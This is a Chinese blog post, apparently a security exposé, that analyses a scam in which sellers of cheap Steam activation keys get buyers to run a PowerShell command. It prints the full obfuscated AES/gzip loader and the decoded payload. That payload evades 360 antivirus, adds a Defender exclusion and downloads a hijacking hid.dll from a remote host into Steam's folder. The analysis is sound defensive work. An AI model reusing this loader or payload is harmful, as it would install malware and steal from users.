AI辅助揭秘某宝steam低价游戏激活码投毒套路！

AI辅助揭秘某宝steam低价游戏激活码投毒套路！

网络安全透视镜  2023-11-13 07:00 发表于中国香港
 

以下文章来源于星云安全 ，作者十二

 

    早上闲着无聊刷小破站的时候看到一个up主的视频，不看不知道一看吓一跳啊，黑心商家真的是可恶。

图片图片

商家是利用低价的激活吸引人购买，购买激活码后，打开官方兑换渠道是无法进行兑换的，商家会让你执行一段代码，执行代码后才能进行兑换！

图片

图片

看到要执行powershell那就要注意了，首先我们先看看那串代码是什么意思，我们来问问ChatGPT。

图片

那么我们执行一下前面的代码，不执行后面的代码看看返回什么东西。

irm steam.work

图片

可以看获取到一串powershell执行代码，解密它base64部分。

$ r e g w q b e   =   N e w - O b j e c t   " S y s t e m . S e c u r i t y . C r y p t o g r a p h y . A e s M a n a g e d "  
 $ r h f x k e z u   =   [ S y s t e m . C o n v e r t ] : : F r o m B a s e 6 4 S t r i n g ( " x V f I h F O y 8 0 n t G P h h N m I i a 5 B U q f A V n e B D Z h K z 3 f R V b x h 4 i q K 2 4 c T T c K O V / 2 L i T 1 9 J O Z L O n d p j a c n Y 9 v + O F 0 Q Z j A S M r c 1 x d g t k j q A p F S Z a F 2 U G T h 1 b U E U q E I c R D u M J i h i c I n n I W U i F + c F 5 l G 7 h 1 0 z 1 n a x P h f r 5 I q z F A 1 h c o J 6 S Q 3 U R n U 9 C x y H 0 A s z W 0 I Z f 8 k F K E C L Q n L i u y 9 q J C g r R h Q N Y i A v y d f t y S y r U y 2 U t 0 a Y / M 0 L z t v K c w Y l W m i d 8 S i l i 5 W K D n z l 2 X e 4 U k 0 P r j w k + D Z y H f 8 y 6 V O y 0 5 y 6 Q j k b Q H D E v t 1 M w h i 9 u r e K S X F f z k m a s P Z p x d R a M g s h A 0 p S j y q n R y s i X U R s 8 Q X 3 H v S m r Z p 9 t W Z 3 0 H g y y l d S r K A D e W K W 6 J F U T I I C K P z y A Z N 8 A z j k M n H P y e x 4 0 M 3 s 0 g D / c / w e y z x l z O N B e a 8 R Z f 9 E 6 0 9 f E B Y O B m 2 j + r w J i V S Y J s D 4 / c 6 m P 0 Q V b 9 W n N F l 0 s a T 3 R n x L o + + R s C A N N r g 9 I g C 0 V 0 Z 2 C f F m j d L y X 5 i o g P o h J y f A l 8 z A f v V b 4 Y H p u 5 z Z r b + b K y P T Q 1 y t e C W B O v 9 P B R U c O 1 t q 3 J f v g p + E v b s 2 L j Y o n 7 B W i z d p G B m l e H a Y i G V E 0 5 T O / / j 4 6 l i f R x E W H u k d n Q r M A X q b W m x P o 1 i S 5 S Q 0 I U v 2 8 a D a G p M D l w R n I V j i d L G u T i E + T G J y e b g K A H s 9 F i H V w V / a c Q Z T 3 n + J C e R / P F l M O E I I u 7 e Y X p m H k T H o Q L 6 P y 6 c Z n 8 w i v E R r 7 b z e y x o + Z X F h 4 9 V k m u j H d V + E D 9 A Z n K k y M G T 4 3 z P 1 B i 1 c w 5 / B x x D k 2 f / c / + J g 2 6 E w d b a d t d H + Z 9 1 H i 6 G q n y 3 3 g N x x u n K 1 k e y 6 E L k c W k E P s N K T X A 7 N 6 N p P t 3 + + / J b 6 b Y a W F 5 U K V e R v P D / H 8 n r O J c 9 8 u h A B b 7 P + K 7 e D g I x k D z e g O l 0 o i A T d 1 Y 8 l M g I b y J A q C g e s d I b f s u x c I z t F f F j N 7 X e s o d b C G S f N D A Y d J b z D T u w u m S a v d c d G T X m z G w w A 9 k M S A d Y V a l U D Y 9 i Z h Y W n z P o 0 U S U 2 G k L f D x U 4 g m g d 0 N Y t q l U a J c I V Z F V d J P F N L 7 S g W A J M 5 u w g o H V 0 r 9 L t 7 i X 1 G / I 1 p g 1 U d B E k / i 5 2 6 i V p l 6 l l m I K C 1 j O 8 J F O z 7 m H 7 z V V T Y p h 2 k y 6 B E P g K Y W s u Z 2 O f / w R Q H k y H v 4 5 L i h W b X h N Y m F o i G Y + j E F C y K 3 L C Q i n R A V r I p i W 2 e g d j d c D w P w M y W R k c T v u p y 4 D f f a J m h J E J l R m J R U 3 f 9 u H C J t R 0 S q S W 4 P H L 1 1 Y n V f 3 d V C h K W 5 j X X s w O 1 5 p 4 P g 2 L a Z Z L D o f 6 q c 8 c H J Z y 6 A A L y v / i o t u 1 W S V 7 O Z E o U c 6 h 6 d Z E G f Y 6 j v 5 d 2 K K E 2 2 c 3 I o N 7 S a 0 b H y q S i P b z A h g 1 Y j S g B 9 H r u b Z c Q F 2 L 6 i s T 0 C G S H J n z Z T L 3 o n S 0 X p O D Z I Z l J S 1 W E d I U 3 S 9 H g V M 2 9 Z E A G 8 c V o 2 j D O z J / / m / 5 d i E 6 9 s 2 R i + w h v L P J v l n c c C G t 2 K W o g m 8 H R T J 9 B 8 X H d R h N 2 q L Q 1 D E 4 l l b N d 4 f 5 J V i V k J a z o Z 8 Q o w K k T w h 6 f w P M j R G 9 d 7 8 w l a 6 f 3 Z 1 m j r W 2 5 d i e r 8 / m W N y P h l l t 7 d 9 r Y Z w c s p i i Q K 6 8 g K 8 4 n g 4 / X p r b 4 u e j 2 r G 1 P 4 L L 5 A L e R y U e N F / + U N F Q Z z T r 7 0 N 1 + o b z f z Q j q c x v H a i h 2 Q Y K q e b 3 W M n S I q i H 8 Y R P 9 Z 8 k a 3 6 / q h V J O 3 d 8 S S r z t M b y n R p W X O f d 4 k Z U w o U P j f m d i L R J u 1 A P 2 L N 7 J X F h 6 H i I g G s t 2 U r x i w / o Z j j I h H U a H l 9 s 5 P u 0 w k X Q + K x b 5 Y s h Y y H t U m e T a t a n m 0 L T M I q P 9 U h r g C 1 l z b 3 Q Z P j v x T t M A 8 y 7 H 3 Z w y f w m P h h P C W 0 M / L T 7 T i N I D 2 9 7 z v y k L i C q p S b N p d V T S x t G M F N 1 5 J b i B u K Q N 8 o k z V I g V w X a u M x B S h J Z A B A g D d c N K p O + i / 9 U H i c H Y m V k j H y T l z u O 7 u q R w D T X 7 I r k 6 K M t 9 X H 5 X u C I r v M 3 H y B L d J x 7 U D w C O I U 1 5 C 7 G 5 E a k f f c 8 f h 2 j K Q P E T V q 9 z k p 4 d 3 1 d k 1 R 2 3 T c i y I D g U m 6 I l v i J o 1 1 N o l j P j N T C G l V t M S b J 0 A g K w j 7 x v o G c J U n c W F r X 8 j b 7 8 o s w n t C T 9 a R R i L 2 v P X 0 z s 4 T m U b v 4 L D l q b N B U D 1 6 E h 4 J j k A q w Q H S 3 q i O 5 H Z N 6 Y 6 w O + 4 T k C C P X 9 z S 4 O c x T G v m g 6 N E U I L K F P E d n L D 2 6 P 5 q t P q I V g d d 4 O e 0 C h / R O 3 7 Z j c f K J J 7 j 1 x I K x Y w 1 K I F Y u 3 h y q 1 A S y N D C u c q f D s P p Y K a i S t l P U N V y U M 3 C h G 8 2 u U 4 k f m 5 O 6 Q V Y D 2 8 b y k 3 U / n R i s H D 4 y 7 y 0 C 2 / a q c 3 + X t Q o R N 1 F N 2 O M n u t w d I 4 M X A d U z v q 2 F s 8 l D m 1 Z P Z 1 C x y V F z A 1 u I D f O G A 1 e q b T y e R u m X k D s u c H a Q D e E Q b M t 9 e m E P k R v R z b i A j E L j F I Y o T 6 P X O C o t 0 V A c 8 d b O w y 2 p u 4 z u S t C 6 h d 7 e 8 r r E E e a w x Q p s d / x k 1 h s f U o 6 g W l G / t t 5 X f 7 r H 6 c r i k L f g 2 1 h P r m i U C T b n z f x p Y 3 i H W o c V C K 0 K j H N 9 s l A Q U V i U b 2 K d s q 2 n N + Z w H y z 1 a j d p 5 2 7 t p h m m 9 m j n E 4 s I Q 4 t T G I 1 N 2 Z w y D h 9 D W 9 I G k m I H K U q j I P R A U F l 7 8 X j Y x x w i + V C 8 M 7 z k i R 6 I o c A E 2 Z 1 U c G 1 c c f x R 7 v d a h K Q T 7 T d w 8 F A 9 p f S v G J v Z D A x j u v 2 p V a H S g 5 3 C U + A 3 q H t Q 0 l W K L T 5 j 2 9 T i j 2 z U r c z s U l O r 3 E r G / x i + o h 8 / 6 9 x w E 2 Z p + r H M 7 0 X Q M M 6 y J 6 V 6 V K Q f 2 H z I J + i Q 7 g H V y Z B 4 p u L 1 2 i G + p n P 2 7 G W N f U S k 2 6 V r 5 G v 0 O U O e z 0 E / w Z J G G 6 N A x n n M x k K + p c 0 v X N 4 L h l 7 6 Y v j R C + V R c G y x T p I 7 N b i Q c K j e l i c 7 N e E i y o Z 8 e 7 k 4 T 8 c T s g L h n 6 2 y W K O s s U r c Z s 7 K s z 1 O a W 1 / x I 8 p m Z h i c h 0 R E G S M S G k o G 2 7 K e 8 s P r z C z n S o F N / 1 i n w 6 C Y 7 Z p c E W A 9 J 4 P V / Y R z H N w z a 7 m A u S v P B o A L Z 0 P x X A L F P d 0 V K 6 w V D s J d 8 S r q d t K g j 9 8 L p p I 1 i 2 P D v T y R T 7 j P 8 K y 1 L b q h X e k n L G m e 8 c b R d 4 3 T 5 c L j R i U n 6 e Z T G A b Y W Y D V P V z s l e N 6 x Z L u K U f K T M E 6 V o T 6 5 4 2 X k A N A 0 V i v D c O a m 6 8 4 L 2 U X 5 M O f F a y r p G e b h U C g u I E K Z e c e 6 C 0 C G U l w 6 1 h 4 v R 6 n E Z 9 X f c 5 8 3 Z b z N H M d 8 + p / y H a Y W c K e o B 8 4 D v w V s 1 F h O + Y b y K t p t q t k z W h 1 L m r c V A O q k / j I l u H 9 K k R V d E j A H m h 6 W c Q o c 0 5 + S 7 Q 2 e l O m Q n h D C 2 L m A f 5 t X o 6 j U W 0 q P x D 5 B 5 3 1 s + b 0 g G 1 a k 4 a O y e + m v l W O P T x c p d t d G u 9 x w W 2 I 7 e + b E r W d / T 8 7 z 7 o b I 3 o 5 / M o B m 2 Z Y P p / D b 3 n D g a l T W 4 p X p c U z 3 d S 5 T Q p 9 b j z G G y J Q v a G 9 8 s 0 j A g r F O t I A g m G B R z / R m v z O g M 4 + r u Q N X y A + C 4 I j w o e 4 t S B p R v k V C d r 4 Q W 8 n E O P G h l O I l 8 U Z v 3 8 U i s q Q z U e C + x V O a a 4 f P N k T D o M / X f S l h c J s 8 s 4 L R A / 6 W l E g Q 5 3 l B Y 7 M y c z u 0 7 B p 5 5 L q j y 7 d G g D 6 f R x N v d 7 / L X + A v A u T 6 2 + K e 3 3 y S d I J q Q D M o K 1 A d P W R M X L t 6 I d 1 m N g R T f O Y A 9 F Z Y k / S M + c H E r U O J d s j 8 7 I A g / q i o d x l 0 H K L V 1 E G f B C J h V o G 2 P 6 5 g F V G T 1 Q E j v x 5 w 8 f U J o 9 Q H K 4 P j 0 H 6 X K i 5 C b I V i N 1 6 H 0 P Y 8 d C 7 q 5 U 9 X J Z R t h f M P h c p o F r s U 7 K j R m C z w H u 7 o p B 5 i 2 D 4 7 3 L c p I E 7 d J j P K A U f l U W S w 4 N / Q E j 0 D r c X N U j x 0 k 5 2 + G I k F X 3 z p v v h p a u J 0 8 r k N e 7 q M l e X a q I Z h 4 c Z b i p 3 Z l + V s b V u l s J 8 E r t w P S a f h w F / q U I Y d Z / 5 Q u + E V z a 7 m B e 1 o O f K U v 1 z B e N g y H / M R 1 g 5 z M f i X i F 5 4 j M s r F H F r i H 9 S j C I R Q n q Q k c X K I 6 T u T h Q 0 S e 3 7 A z H f + 0 = " )  
 $ a t v t   =   [ S y s t e m . C o n v e r t ] : : F r o m B a s e 6 4 S t r i n g ( " h k d A 0 V h D g / Y C 4 G e Q 1 2 r H b 4 a h i / 6 K n L O 0 Y A 1 G b J 1 3 l B U = " )  
 $ r e g w q b e . I V   =   $ r h f x k e z u [ 0 . . 1 5 ]  
 $ r e g w q b e . P a d d i n g   =   [ S y s t e m . S e c u r i t y . C r y p t o g r a p h y . P a d d i n g M o d e ] : : P K C S 7  
 $ r e g w q b e . M o d e   =   [ S y s t e m . S e c u r i t y . C r y p t o g r a p h y . C i p h e r M o d e ] : : E C B  
 $ r e g w q b e . K e y S i z e   =   1 2 8 
 $ r e g w q b e . K e y   =   $ a t v t  
 $ r e g w q b e . B l o c k S i z e   =   1 2 8  
 $ j o i p h p   =   N e w - O b j e c t   S y s t e m . I O . M e m o r y S t r e a m ( , $ r e g w q b e . C r e a t e D e c r y p t o r ( ) . T r a n s f o r m F i n a l B l o c k ( $ r h f x k e z u , 1 6 , $ r h f x k e z u . L e n g t h - 1 6 ) )  
 $ g i a a i t   =   N e w - O b j e c t   S y s t e m . I O . M e m o r y S t r e a m  
 $ c n u s k g a m   =   N e w - O b j e c t   S y s t e m . I O . C o m p r e s s i o n . G z i p S t r e a m   $ j o i p h p ,   ( [ I O . C o m p r e s s i o n . C o m p r e s s i o n M o d e ] : : D e c o m p r e s s )  
 $ c n u s k g a m . C o p y T o ( $ g i a a i t )  
 $ v n d j s p e n d   =   [ S y s t e m . T e x t . E n c o d i n g ] : : U T F 8 . G e t S t r i n g ( $ g i a a i t . T o A r r a y ( ) )  
 $ c n u s k g a m . C l o s e ( )  
 $ j o i p h p . C l o s e ( )  
 $ r e g w q b e . D i s p o s e ( )  
 I n v o k e - E x p r e s s i o n ( $ v n d j s p e n d )  
 

解密后:

$regwqbe = New-Object "System.Security.Cryptography.AesManaged"$rhfxkezu = [System.Convert]::FromBase64String("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")$atvt = [System.Convert]::FromBase64String("hkdA0VhDg/YC4GeQ12rHb4ahi/6KnLO0YA1GbJ13lBU=")$regwqbe.IV = $rhfxkezu[0..15]$regwqbe.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7$regwqbe.Mode = [System.Security.Cryptography.CipherMode]::ECB$regwqbe.KeySize = 128$regwqbe.Key = $atvt$regwqbe.BlockSize = 128$joiphp = New-Object System.IO.MemoryStream(,$regwqbe.CreateDecryptor().TransformFinalBlock($rhfxkezu,16,$rhfxkezu.Length-16))$giaait = New-Object System.IO.MemoryStream$cnuskgam = New-Object System.IO.Compression.GzipStream $joiphp, ([IO.Compression.CompressionMode]::Decompress)$cnuskgam.CopyTo($giaait)$vndjspend = [System.Text.Encoding]::UTF8.GetString($giaait.ToArray())$cnuskgam.Close()$joiphp.Close()$regwqbe.Dispose()Invoke-Expression($vndjspend)

然后我们再用chatgpt进行分析，好家伙继续套娃。

图片

我们把Invoke-Expression($vndjspend)改成echo $vndjspend输出加密内容，然后powershell执行一下。

图片

PowerShell.exe -ExecutionPolicy Bypass -File C:\Users\00\Desktop\66.ps1

图片

好家伙还继续套娃，我们继续解，直到后面解开为止。

图片

图片

解开代码了，我们来看看它到底想干嘛！

Write-Host -NoNewline "          _____                _____                    _____                    _____         _____          `r" -ForegroundColor:blueWrite-Host -NoNewline "         /\    \              /\    \                  /\    \                  /\    \        /\    \         `r" -ForegroundColor:blueWrite-Host -NoNewline "        /::\    \            /::\    \                /::\    \                /::\    \       /::\____\        `r" -ForegroundColor:blueWrite-Host -NoNewline "       /::::\    \           \:::\    \              /::::\    \              /::::\    \              /::::|   |        `r" -ForegroundColor:blueWrite-Host -NoNewline "      /::::::\    \           \:::\    \            /::::::\    \            /::::::\    \            /:::::|   |        `r" -ForegroundColor:blueWrite-Host -NoNewline "     /:::/\:::\    \           \:::\    \          /:::/\:::\    \          /:::/\:::\    \          /::::::|   |        `r" -ForegroundColor:blueWrite-Host -NoNewline "    /:::/__\:::\    \           \:::\    \        /:::/__\:::\    \        /:::/__\:::\    \        /:::/|::|   |        `r" -ForegroundColor:blueWrite-Host -NoNewline "    \:::\   \:::\    \          /::::\    \      /::::\   \:::\    \      /::::\   \:::\    \      /:::/ |::|   |        `r" -ForegroundColor:blueWrite-Host -NoNewline "  ___\:::\   \:::\    \        /::::::\    \    /::::::\   \:::\    \    /::::::\   \:::\    \    /:::/  |::|___|______  `r" -ForegroundColor:blueWrite-Host -NoNewline " /\   \:::\   \:::\    \      /:::/\:::\    \  /:::/\:::\   \:::\    \  /:::/\:::\   \:::\    \  /:::/   |::::::::\    \ `r" -ForegroundColor:blueWrite-Host -NoNewline "/::\   \:::\   \:::\____\    /:::/  \:::\____\/:::/__\:::\   \:::\____\/:::/  \:::\   \:::\____\/:::/    |:::::::::\____\`r" -ForegroundColor:blueWrite-Host -NoNewline "\:::\   \:::\   \::/    /   /:::/    \::/    /\:::\   \:::\   \::/    /\::/    \:::\  /:::/    /\::/    / ~~~~~/:::/    /`r" -ForegroundColor:blueWrite-Host -NoNewline " \:::\   \:::\   \/____/   /:::/    / \/____/  \:::\   \:::\   \/____/  \/____/ \:::\/:::/    /  \/____/      /:::/    / `r" -ForegroundColor:blueWrite-Host -NoNewline "  \:::\   \:::\    \      /:::/    /            \:::\   \:::\    \               \::::::/    /               /:::/    /  `r" -ForegroundColor:blueWrite-Host -NoNewline "   \:::\   \:::\____\    /:::/    /              \:::\   \:::\____\               \::::/    /               /:::/    /   `r" -ForegroundColor:blueWrite-Host -NoNewline "    \:::\  /:::/    /    \::/    /                \:::\   \::/    /               /:::/    /               /:::/    /    `r" -ForegroundColor:blueWrite-Host -NoNewline "     \:::\/:::/    /      \/____/                  \:::\   \/____/               /:::/    /               /:::/    /     `r" -ForegroundColor:blueWrite-Host -NoNewline "      \::::::/    /                                 \:::\    \                  /:::/    /               /:::/    /      `r" -ForegroundColor:blueWrite-Host -NoNewline "       \::::/    /                                   \:::\____\                /:::/    /               /:::/    /       `r" -ForegroundColor:blueWrite-Host -NoNewline "        \::/    /                                     \::/    /                \::/    /       \::/    /        `r" -ForegroundColor:blueWrite-Host -NoNewline "         \/____/                                       \/____/                  \/____/        \/____/         `r" -ForegroundColor:blue
function Get-RandomString() {    param(    [int]$length=10,    #      [int]      ָ    [char[]]$sourcedata    )
    for($loop=1; $loop -le $length; $loop++) {        $TempPassword+=($sourcedata | GET-RANDOM | %{[char]$_})    }
    return $TempPassword}
Start-Sleep 1$tempLog = $env:TEMP+ "\log.txt"
try{    irm -Uri "https://hz-config.oss-accelerate.aliyuncs.com/help.txt" -OutFile $tempLog}catch{    Write-Host "NetWork Result-Error" -ForegroundColor:red}
function PwStart() {    try    {        $steamPath = (Get-ItemProperty -Path "Registry::HKEY_CURRENT_USER\SOFTWARE\Valve\Steam\ActiveProcess" -ErrorAction Stop).'SteamClientDll'        $steamPath = $steamPath -replace "steamclient.dll","hid.dll"
        if(Get-Process 360Tray* -ErrorAction Stop){            while(Get-Process 360Tray* -ErrorAction Stop){                Write-Host (Get-Content $tempLog)[0] -ForegroundColor:Red                Start-Sleep 1.5            }            PwStart
        }        elseif(Get-Process 360sd* -ErrorAction Stop)        {            while(Get-Process 360sd* -ErrorAction Stop){                Write-Host (Get-Content $tempLog)[1] -ForegroundColor:Red                Start-Sleep 1.5            }            PwStart        }        else{            try{                Stop-Process -Name steam* -Force -ErrorAction Stop                Start-Sleep 1

                if(Get-Process steam* -ErrorAction Stop){                    TASKKILL /F /IM "steam.exe" | Out-Null                    Start-Sleep 2                }

                if (Test-Path $steamPath) {                    Start-Sleep 1                    del $steamPath                    if (Test-Path $steamPath)                    {                        Remove-Item -Path $steamPath -Force                        Start-Sleep 1                    }                    Start-Sleep 0.5                }                $steamPath = $steamPath -replace "hid.dll","version.dll"                if (Test-Path $steamPath) {                    Start-Sleep 0.5                    Remove-Item -Path $steamPath -Force                    Start-Sleep 0.5                }                $steamPath = $steamPath -replace "version.dll","user32.dll"                if (Test-Path $steamPath) {                    Start-Sleep 0.5                    Remove-Item -Path $steamPath -Force                    Start-Sleep 0.5                }                $steamPath = $steamPath -replace "user32.dll","hid.dll"
                Write-Host "ServerStart        [OK]" -ForegroundColor:green                try                {                    Add-MpPreference -ExclusionPath $steamPath -ErrorAction Stop                    Start-Sleep 1                    # Set-MpPreference -SubmitSamplesConsent 0 -ErrorAction Stop                }                catch                {                }                Write-Host "Result[0]          [OK]" -ForegroundColor:green
                Invoke-WebRequest -Uri "https://hz-config.oss-accelerate.aliyuncs.com/dwf/PSH" -OutFile $steamPath -ErrorAction Stop
                Write-Host "Result[1]          [OK]" -ForegroundColor:green
                $strfmt = -join ($env:LOCALAPPDATA,"\Microsoft\Tencent")                if ((Test-Path $strfmt)) {                    rmdir -Recurse $strfmt | Out-Null                    Start-Sleep 1                    if ((Test-Path $strfmt)) {                        Remove-Item -Path $strfmt -Force -Recurse | Out-Null                    }                }
                $strfmt = -join ($env:LOCALAPPDATA,"\SteamActive")                if (!(Test-Path $strfmt)) {                    md $strfmt | Out-Null                    Start-Sleep 1                    if (!(Test-Path $strfmt)) {                        New-Item $strfmt -ItemType directory -Force | Out-Null                    }                }
                $strfmt = -join ($env:LOCALAPPDATA,"\SteamActive\hid")                Invoke-WebRequest -Uri "https://hz-config.oss-accelerate.aliyuncs.com/dwf/hid" -OutFile $strfmt -ErrorAction Stop                Write-Host "Result[2]          [OK]" -ForegroundColor:green
                Start-Sleep 0.5
                Start steam://

                Write-Host (Get-Content $tempLog)[3] -ForegroundColor:green
                Start-Sleep 5

                exit            }            catch            {                Write-Host (Get-Content $tempLog)[2] -ForegroundColor:Red            }
        }
    }    catch{
        Write-Host (Get-Content $tempLog)[4] -ForegroundColor:red    }}

 

图片

可以看到它直接把360给干掉，对一些dll文件进行修改和删除，估计想dll注入，我们把它oss的文件下载下来，丢入微步进行分析。

图片PSH文件直接报毒https://s.threatbook.com/report/file/0e346983d60d9eaac363993c09285609af7fa1a461c3fb92659dc7936f68cddd图片

HID文件还好，但是不排除图片

 

posted @ 2023-11-14 11:39  达达尼亚2017  阅读(1025)  评论(1)  编辑  收藏  举报